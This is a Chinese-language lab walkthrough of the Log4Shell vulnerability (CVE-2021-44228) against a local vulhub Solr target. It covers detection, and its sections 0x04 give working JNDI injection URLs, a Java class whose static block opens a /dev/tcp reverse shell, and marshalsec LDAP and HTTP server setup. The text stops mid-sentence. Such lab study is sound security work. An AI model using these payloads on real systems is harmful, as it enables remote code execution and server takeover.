0x01 概述
Log4Shell,编号CVE-2021-44228,是Apache Log4J 2 Java某些版本中的RCE漏洞,CVSS评分为10,被认为是互联网有史以来最重大的安全漏洞之一。
影响范围:Apache Log4j 2.x<=2.14.1
任何使用低版本Log4j2记录未经验证用户输入的应用程序都可能受到影响,比如 :
-
Tomcat, JBoss, WebSphere 使用 Log4j2 记录HTTP请求或参数;
-
Kafka、Spark等大数据框架使用Log4j2来记录事件;
-
Solr和Elasticsearch使用Log4j2进行日志记录;
-
Jenkins等开发工具使用Log4j2来监控和记录活动;
-
Minecraft服务器使用Log4j2记录玩家活动
Checklist:
1
2
3
4
5
6
7
8
9
10
11
12
13
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
Swift frameworks
漏洞原理
JNDI(Java Naming and Directory Interface):JNDI是一种Java API,用于在Java应用程序中访问各种命名和目录服务,例如LDAP(轻量级目录访问协议)、DNS、RMI等。
Log4j2支持一种表达式语言(即Lookups),用于在日志消息中插入动态内容。例如,${env:USERNAME}
可以插入当前环境变量USERNAME
的值。同时,Log4j2还支持JNDI查找,如${jndi:ldap://<attacker-ip>/Exploit}
。当Log4j2处理这样的表达式时,它会尝试连接到LDAP服务器,如果LDAP服务器为攻击者所控制,则可以返回一个指向恶意Java类的URL引用,其中包含构造函数或静态代码块,Log4j2会从该URL加载执行恶意代码。
可参考这篇文章画的流程图:Log4j2 反序列化漏洞原理与复现_log4j2反序列化-CSDN博客
0x02 靶场搭建
安装docker和docker-compose:
1
sudo apt-get install docker docker-compose
之前安装过docker,担心apt-get
安装的docker-compose与docker版本不匹配,因此搜索查阅了对应版本后使用curl
下载安装:
1
2
3
docker -version
# Docker version 20.10.25+dfsg1, build b82b9f3
curl -L https://github.com/docker/compose/releases/download/1.28.0-rc1/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
注:vulhub文档给出的安装方法是用pip
安装docker-compose
,但由于debian系统自带的pyyaml版本较高,pip
安装会报错。
搭建靶场:
1
2
3
4
5
6
7
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker ps
docker exec -it [CONTAINER_ID] /bin/bash
ip a # 查看服务器ip
# 172.18.0.2:8983
出于种种原因,我把docker装在虚拟机,burpsuite pro在物理机,于是需要开个Host-Only网卡后进行端口映射
1
ssh -L 127.0.0.1:8983:172.18.0.2:8983 root@192.168.56.102
0x03 漏洞检测
3.1 手工
1
http://127.0.0.1:8983/solr/admin/cores?_=${jndi:ldap://xxx.dnslog.cn}
3.2 BurpSuite Pro插件
插件地址:
该插件支持被动扫描和主动扫描,自动配置dnslogCN和digpm,多种POC和FUZZ模式
这里选择dnslogCN,passive模式,访问Core Admin
页面后在Extensions
栏可以看到扫描记录:
在Logger可以看到扫描的发包记录(需要在Log4j2Scan-FUZZ关闭Enable Ex-request
)
扫描结果会显示在Dashboard Issue列表:
3.3 log4j-scan
项目地址:
注意:
-
指定
--dns-callback-provider dnslog.cn
解决interact.sh server unavailable
-
创建一个空的
headers-none.txt
并指定为头部字段FUZZ,否则可能会被服务器认为是Bad Message
而拒绝
0x04 反弹Shell
4.1 JNDI注入工具(推荐)
工具地址:
1
2
3
4
git clone https://github.com/0x727/JNDIExploit.git
apt install maven
mvn clean package -DskipTests
cd target
源代码使用了sun.misc.BASE64Encoder
,新版JDK编译会报can not found symbol
错误,解决方法是用java.util.Base64
类替换sun.misc.BASE64Encoer
类
这里直接下载jar包:
1
2
3
4
wget https://github.com/0x727/JNDIExploit/releases/download/1.1/JNDIExploit.zip
unzip JNDIExploit.zip -d JNDIExploit
cd JNDIExploit
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.56.102
打开监听端口:
1
nc -lvvp 8888
浏览器访问:http://127.0.0.1:8983/solr/admin/cores?_=${jndi:ldap://192.168.56.102:1389/Basic/ReverseShell/192.168.56.102/8888}
假如报错:
1
2
3
4
java.lang.IllegalAccessError: superclass access check failed:
class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x4015e7ec)
cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml)
because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x4015e7ec
是因为Java 9开始,模块类如果没有被显式导出,则无法被其他模块访问。
解决方法:
1
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.3-SNAPSHOT.jar
成功反弹shell:
4.2 手工搭建HTTP+LDAP服务器
编写恶意代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
静态代码块用于类的初始化,在类第一次被加载到JVM时执行一次,不依赖于类的实例化。构造函数会在每次创建类的实例时执行调用。
编译得到Exploit.class文件:
(注意要用JDK1.8编译Exploit.class
,用JDK17编译会导致无法反弹shell)
1
2
3
4
5
6
7
8
9
10
11
12
wget https://repo.huaweicloud.com/java/jdk/8u171-b11/jdk-8u171-linux-x64.tar.gz
tar -xzvf jdk-8u171-linux-x64.tar.gz
mv jdk1.8.0_171 /usr/lib/jvm/
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.8.0_171/bin/java 8
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.8.0_171/bin/javac 8
update-alternatives --config java
update-alternatives --config javac
# 切换java和javac版本
javac -version
# javac 1.8.0_171
javac Exploit.java
在Exploit.class
所在目录建立http服务器:
1
python -m http.server 9000
搭建LDAP服务器:
1
2
3
4
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.102:9000/Exploit"
打开监听:
1
nc -lvvp 8888
浏览器访问:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.56.102:1389/Exploit}
关闭靶场
1
docker-compose down
0x05 其他
高版本的JDK即便存在log4j RCE也无法使用上述方法执行恶意代码,原因:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
但服务器依然可以正常请求ldap服务器,因此构造特殊的ldap响应来执行恶意代码,具体: